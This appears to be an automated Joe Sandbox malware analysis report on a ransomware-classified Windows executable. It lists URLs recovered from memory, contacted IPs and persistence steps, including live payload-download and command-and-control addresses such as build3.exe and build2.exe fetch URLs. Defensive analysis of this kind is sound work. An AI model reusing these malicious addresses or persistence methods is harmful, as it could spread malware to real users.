https://we.tl/t-0S984cQ4B3	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000794000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000708000.00000004.00000020.00020000.00000000.sdmp, _readme.txt1.11.dr	true	Avira URL Cloud: safe	unknown
http://Passport.NET/purposeg	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://mail.google.com	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exez	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001886107.0000000000767000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001842464.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://we.tl/t-0S984cQ4i	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ef	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://g.live.com/8seskydrive/HomePageUrl	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ej	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.reddit.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602861847.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rare2	lgYdZ.exe, 00000012.00000003.1830630425.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1673150206.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://products.office.com/en-US/sharepoint/	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonZ	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonVk	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522373057.0000000000708000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522813556.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k3.rard	lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://fuyt.org/files/1/build3.exe	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001886107.0000000000767000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001842464.0000000000764000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonV	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/h	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	wctFF6F.tmp.11.dr	false	Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	lgYdZ.exe, 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmp, lgYdZ.exe, 00000001.00000003.1398295675.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1662799532.0000000000FF0000.00000004.00001000.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831504244.0000000000183000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarC:	lgYdZ.exe, 00000001.00000003.1417949075.0000000000FF2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://we.tl/t-0S984cQ4	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.yahoo.com/	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewse	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	wctFF6F.tmp.11.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarxT	lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/A	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonZ&$S4	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.raruW	lgYdZ.exe, 00000012.00000003.1673074893.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.json6	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youtube.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2603050021.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feedre_	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe$runrue	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarP2X_	lgYdZ.exe, 00000012.00000003.1830630425.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1673150206.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.jsonN	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/0	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k3.rarC	lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.jsonK	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/6	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457696566.0000000000727000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000003.1456164886.0000000000739000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.phpp	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/purpose::PURPOSE_IDP_BINDela	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k3.rar:	lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/ui.win32.js.map/d6bb35bc608af2672a5b746ba	prep_ui_win32_bundle_V8_perf.cache.11.dr	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsons/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zerit.top/dl/build2.exe	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006B8000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://outlook.office365.com/owa/wopibootstrappervk	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/(	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602267530.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonal	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar/	lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.twitter.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602923443.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dc.services.visualstudio.com/v2/track	wctFF6F.tmp.11.dr	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://zerit.top/dl/build2.exeS	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/.p	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/pn	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://api.login.yahoo.com/oauth2/request_auth	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar7W	lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k3.rarfC:	lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.login.yahoo.com/oauth2/get_token	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe$run	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000794000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonC?	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nytimes.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602799315.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonYS-R	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json;1Z	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rar:T	lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://fuyt.org/files/1/build3.exeC	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rara	lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/Root	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zerit.top/dl/build2.exe$run	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsondll	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar5C:	lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarsC:	lgYdZ.exe, 00000012.00000003.1673074893.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar7W	lgYdZ.exe, 00000012.00000003.1673074893.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.wikipedia.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602983680.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.live.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602704131.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarC:	lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.json~?	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.raroW	lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.google.com/	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602564967.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.linkedin.com/	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
https://www.office.com/s:	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States	14618	AMAZON-AESUS	false
188.114.96.3	api.2ip.ua	European Union	13335	CLOUDFLARENETUS	false
92.246.89.93	fuyt.org	Russian Federation	49558	LIVECOMM-ASRespublikanskayastr3k6RU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1480966
Start date and time:	2024-07-25 02:10:41 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.evad.winEXE@35/470@5/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 45 Number of non-executed functions: 206
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 52.182.143.212
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:11:41	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe s>--Task
02:11:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
02:11:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
20:11:53	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:13:33	API Interceptor	1x Sleep call for process: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	Fantom.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	FC8BD535BF98089640F0589D3FE30FB55B1287278F9B42D66C91D397E00BA23A.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	fax_390392029_072514.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	F5D89DECEF6271D813BE49A3CB4C630364CBA87FDE4FD9BCE81821479D1E771E.exe	Get hash	malicious	Bdaejec, RedLine	Browse	ddos.dnsnb8.net:799/cj//k2.rar
